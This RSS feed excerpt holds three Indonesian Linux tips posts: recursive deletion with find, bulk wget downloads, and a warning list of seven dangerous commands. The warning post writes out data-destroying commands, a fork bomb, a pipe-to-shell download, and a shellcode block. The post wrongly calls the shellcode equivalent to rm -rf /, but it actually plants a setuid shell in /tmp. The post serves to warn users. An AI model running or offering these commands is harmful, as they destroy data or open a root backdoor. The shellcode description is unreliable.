		<pubDate>Wed, 22 Apr 2009 06:23:56 +0000</pubDate>
		<dc:creator>Masim "Vavai" Sugianto</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Tutorial]]></category>

		<guid isPermaLink="false">http://vavai.com/v2/?p=361</guid>
		<description><![CDATA[Ketika melakukan setup mirror utama openSUSE Indonesia akhir pekan lalu, saya banyak menggunakan rsync untuk melakukan sinkronisasi isi dari satu repo ke repo yang lain. Rsync berjalan lancar meski saya sempat mendapat celaka karena mengaktifkan opsi &#8211;delete padahal rsync sumber memiliki koleksi iso lebih sedikit daripada koleksi iso yang sudah ada. Alhasil aku mengulang proses [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://vavai.com/v2/wp-content/uploads/cli-kecil.jpg"><img class="alignnone size-full wp-image-362" title="cli-kecil" src="http://vavai.com/v2/wp-content/uploads/cli-kecil.jpg" alt="cli-kecil" width="500" height="264" /></a></p>
<p>Ketika melakukan setup <a href="http://opensuse.or.id/2009/04/22/mirror-utama-opensuse-indonesia/">mirror utama openSUSE Indonesia</a> akhir pekan lalu, saya banyak menggunakan rsync untuk melakukan sinkronisasi isi dari satu repo ke repo yang lain. Rsync berjalan lancar meski saya sempat mendapat celaka karena mengaktifkan opsi &#8211;delete padahal rsync sumber memiliki koleksi iso lebih sedikit daripada koleksi iso yang sudah ada. Alhasil aku mengulang proses rsync untuk iso yang dihapus.</p>
<p>Iso dan mirror utama (oss, non-oss dan packman) dapat dengan mudah di rsync. Saya mendapat kesulitan ketika hendak melakukan sinkronisasi repo untuk KDE 4 dan kawan-kawan yang sumbernya berasal dari build service openSUSE.</p>
<p>Sebenarnya bisa saja melakukan rsync dari server utama yang ada di Jerman namun aksesnya lambat sekali. Mirror openSUSE yang saya setup ini memang ditujukan bagi pengguna di Indonesia sehingga akses IIX untuk lokal cukup besar sedangkan akses internasional terbatas.</p>
<p>Satu-satunya repo online lokal yang memiliki repositories KDE 4 adalah FOSS-ID. Sayangnya FOSS-ID tidak menyediakan akses rsync sehingga saya terpaksa menggunakan perintah wget untuk melakukan mirror dan melakukan download file secara rekursif.</p>
<p>Celakanya, wget ikut-ikutan melakuka download file index, jadi meski letaknya ada di <a href="http://mirror1.opensuse.or.id" class="broken_link">http://mirror1.opensuse.or.id</a>, alamatnya tetap tertulis dan merujuk ke FOSS-ID. Saya bisa menghilangkannya dengan cara melakukan penghapusan file index, namun dengan sekian ribu file index yang yang terletak diberbagai folder yang berbeda, akan butuh waktu yang sangat lama dan melelahkan jika menghapusnya satu per satu secara manual.</p>
<p>Jika aksesnya dilakukan di komputer saya, saya bisa dengaan mudah menggunakan fasilitas search atau aplikasi khusus seperti fslint, namun karena saya hanya melakukan ssh ke server mirror, saya hanya bisa menggunakan perintah yang dijalankan melalui shell command.</p>
<p>Usut punya usut, ternyata saya bisa dengan mudah melakukan penghapusan file dengan pattern tertentu dengan perintah singkat dan mudah. Berikut adalah contoh perintah yang saya gunakan untuk menghapus semua file index diseluruh folder dan anak folder yang ditunjuk :</p>
<pre class="brush: cpp">
find /home/vavai/repo/repositories -type f -name &quot;index*&quot; -exec rm -f {} \;
</pre>
<p>Perintah diatas akan mencari semua file index (index.php, index.html, index.htm) didalam folder /home/vavai/repo/repositories dan menghapusnya. Untuk nama file bisa menggunakan regular expression.</p>
<p>Jika khawatir salah hapus, kita bisa mengganti perintah rm dengan perintah ls sehingga jika bertemu dengan file yang dimaksud, perintah tersebut akan menampilkannya. Dengan demikian, kita bisa mengecek apakah perintah tersebut sudah benar atau belum.</p>
<p>Hati-hati menggunakan regular expression pada nama file yang dicari karena anda mungkin saja salah menempatkan regular expression dan mengakibatkan perintah diatas salah menghapus.</p>

                            <div id="aspdf">
                                <a href="http://vavai.com/v2/wp-content/plugins/as-pdf/generate.php?post=361">
                                    <span>*** Save as PDF ***</span>
                                </a>
                            </div>
                        <img src="http://vavai.com/v2/?ak_action=api_record_view&id=361&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://vavai.com/v2/2009/04/perintah-bash-untuk-menghapus-file-secara-rekursifmassal/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Download Semua File dalam 1 Halaman dengan Wget</title>
		<link>http://vavai.com/v2/2009/04/download-semua-file-dalam-1-halaman-dengan-wget/</link>
		<comments>http://vavai.com/v2/2009/04/download-semua-file-dalam-1-halaman-dengan-wget/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 07:35:43 +0000</pubDate>
		<dc:creator>Masim "Vavai" Sugianto</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Tutorial]]></category>

		<guid isPermaLink="false">http://vavai.com/v2/?p=359</guid>
		<description><![CDATA[Selama melakukan maintenance mirror openSUSE Indonesia, saya kerap menggunakan rsync untuk melakukan sinkronisasi file dari 1 server ke server lain. Rsync sangat cocok dijadikan sebagai media melakukan sinkronisasi file dalam skala besar. Sayangnya tidak semua server sumber menyediakan rsync. Server FOSS-ID misalnya, belum menyediakan fasilitas rsync. Jika saya memiliki keperluan melakukan download banyak  file ISO [...]]]></description>
			<content:encoded><![CDATA[<p>Selama melakukan maintenance mirror openSUSE Indonesia, saya kerap menggunakan rsync untuk melakukan sinkronisasi file dari 1 server ke server lain. Rsync sangat cocok dijadikan sebagai media melakukan sinkronisasi file dalam skala besar.</p>
<p>Sayangnya tidak semua server sumber menyediakan rsync. Server FOSS-ID misalnya, belum menyediakan fasilitas rsync.</p>
<p>Jika saya memiliki keperluan melakukan download banyak  file ISO yang linknya ada dalam 1 halaman, akan sangat merepotkan jika saya harus melakukan copy link satu persatu</p>
<p>Ternyata ada cara mudah untuk melakukan download file sekaligus, yaitu dengan perintah sebagai berikut :</p>
<pre class="brush: cpp">
wget -nd -r -l1 --no-parent -A.namaextension URL
</pre>
<p>Contoh :</p>
<pre class="brush: cpp">
wget -nd -r -l1 --no-parent -A.iso -A.sha1 -A.md5 http://mirror1.opensuse.or.id/distribution/11.1/iso/
</pre>
<p>Perintah diatas akan melakukan download seluruh file dengan extension : iso, sha1 dan md5 yang ada pada alamat http://mirror1.opensuse.or.id/distribution/11.1/iso/. Opsi -l1 menunjukkan bahwa wget hanya akan mengecek folder yang bersangkutan tanpa melakukan proses download dari folder dibawahnya.</p>

                            <div id="aspdf">
                                <a href="http://vavai.com/v2/wp-content/plugins/as-pdf/generate.php?post=359">
                                    <span>*** Save as PDF ***</span>
                                </a>
                            </div>
                        <img src="http://vavai.com/v2/?ak_action=api_record_view&id=359&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://vavai.com/v2/2009/04/download-semua-file-dalam-1-halaman-dengan-wget/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Awas : 7 Perintah Mematikan di Linux</title>
		<link>http://vavai.com/v2/2008/11/awas-7-perintah-mematikan-di-linux/</link>
		<comments>http://vavai.com/v2/2008/11/awas-7-perintah-mematikan-di-linux/#comments</comments>
		<pubDate>Sun, 30 Nov 2008 04:39:59 +0000</pubDate>
		<dc:creator>Masim "Vavai" Sugianto</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://vavai.com/v2/?p=79</guid>
		<description><![CDATA[Linux terkenal karena aspek keamanan penggunaan. Virus yang berteman baik dengan Windows misalnya, harus mencari cara yang sangat rumit untuk bisa menembus Linux. Meski demikian, dunia yang fana ini (hehehe&#8230;) merupakan tempat bagi beragam orang dengan berbagai sifat. Para penjahat dan psikopat bisa saja menyamar di berbagai forum dan mailing list, dan alih-alih memberikan solusi [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://vavai.com/v2/wp-content/uploads/lefoi-tux-skull-1834.png"><img class="alignleft size-full wp-image-84" title="lefoi-tux-skull-1834" src="http://vavai.com/v2/wp-content/uploads/lefoi-tux-skull-1834.png" alt="" width="205" height="205" /></a>Linux terkenal karena aspek keamanan penggunaan. Virus yang berteman baik dengan Windows misalnya, harus mencari cara yang sangat rumit untuk bisa menembus Linux.</p>
<p>Meski demikian, dunia yang fana ini (hehehe&#8230;) merupakan tempat bagi beragam orang dengan berbagai sifat. Para penjahat dan psikopat bisa saja menyamar di berbagai forum dan mailing list, dan alih-alih memberikan solusi justru bisa membuat anda menderita. Adakalanya perintah-perintah berbahaya di Linux dijadikan sebagai lelucon untuk menggoda (meski berbagai distro memiliki etika dan guiding principle yang melarang lelucon berbahaya) meski ada juga yang memang berniat menjebak orang lain.</p>
<p>Berikut adalah 7 perintah berbahaya yang disarikan dari <a href="http://www.junauza.com/2008/11/7-deadly-linux-commands.html">7 Deadly Command</a> :</p>
<ol>
<li><strong>Perintah rm -rf /</strong><br />
Perintah ini akan menghapus seluruh isi folder / (root folder atau root directory). Root folder memang dilindungi oleh hak akses user root, tapi akan sangat berbahaya jika perintah diatas dieksekusi saat kita berada dalam hak akses root. Itulah mengapa sangat dianjurkan untuk menggunakan hak akses user biasa untuk kegiatan sehari-hari.Perintah diatas juga tetap berbahaya jika dijalankan oleh user biasa yang dapat merusak isi folder miliknya sendiri</li>
<li><strong>Perintah menggunakan bilangan hexa</strong></li>
<p>char esp[] __attribute__ ((section(&#8220;.text&#8221;))) /* e.s.p<br />
release */<br />
= &#8220;\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68&#8243;<br />
&#8220;\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99&#8243;<br />
&#8220;\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7&#8243;<br />
&#8220;\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56&#8243;<br />
&#8220;\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31&#8243;<br />
&#8220;\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69&#8243;<br />
&#8220;\x6e\x2f\x73\x68\x00\x2d\x63\x00&#8243;<br />
&#8220;cp -p /bin/sh /tmp/.beyond; chmod 4755<br />
/tmp/.beyond;&#8221;;</p>
<p>Perintah diatas sama dengan perintah pada nomor 1 hanya saja ditulis dalam bilangan hexa. Jika dieksekusi, sama halnya menghapus seluruh isi folder (rm -rf /). Karena ditulis dalam bilangan hexa, perintah ini bisa juga menjebak user Linux yang berpengalaman</p>
<li> <strong>Perintah mkfs.ext3 /dev/sda</strong><br />
Perintah ini sama halnya melakukan perintah format pada partisi yang ditunjuk.</li>
<li> <strong>Perintah forkbomb</strong> <strong> <img src='http://vavai.com/v2/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){:|:&amp;};:</strong><br />
Perintah ini akan memerintahkan sistem untuk mengeksekusi berbagai proses sampai hang. Biasanya akan mengakibatkan hilangnya data karena komputer terpaksa harus dimatikan secara paksa.</li>
<li> <strong>Perintah apapun &gt; /dev</strong><br />
Perintah ini akan menimpa sistem file device yang ditunjuk dan pada akhirnya bisa menyebabkan hilangnya data yang dimounting pada folder /dev (folder /dev biasa digunakan untuk menempatkan keterangan hardware dan harddisk)</li>
<li><strong>Perintah untuk eksekusi file shell tertentu</strong><br />
Perintah <strong>wget http://alamat-url-yangtidak-jelas</strong> -O- | sh akan memerintahkan Linux untuk langsung menjalankan file sh yang ditunjuk. File sh adalah file eksekusi di Linux, sama halnya file .exe. Jangan sekali-kali melakukan perintah diatas untuk file sh yang tidak jelas sumber dan peruntukannya.</li>
<li><strong>Perintah memindahkan home folder ke /dev/null</strong><br />
<strong> mv /home/home-directory/* /dev/null</strong><br />
Perintah ini akan memindahkan seluruh data di home folder ke file null (file yang sebenarnya tidak ada). File yang dipindahkan akan hilang selamanya tanpa ada backup&#8230;</li>
</ol>
<p>Selain 7 perintah diatas, ada beberapa perintah lainnya yang mungkin belum dimasukkan disini. Prinsip hati-hati dalam menjalankan suatu perintah merupakan hal mutlak yang harus selalu diingat oleh pengguna Linux.</p>

                            <div id="aspdf">
                                <a href="http://vavai.com/v2/wp-content/plugins/as-pdf/generate.php?post=79">
                                    <span>*** Save as PDF ***</span>
                                </a>
                            </div>
                        <img src="http://vavai.com/v2/?ak_action=api_record_view&id=79&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://vavai.com/v2/2008/11/awas-7-perintah-mematikan-di-linux/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
	</channel>
</rss>

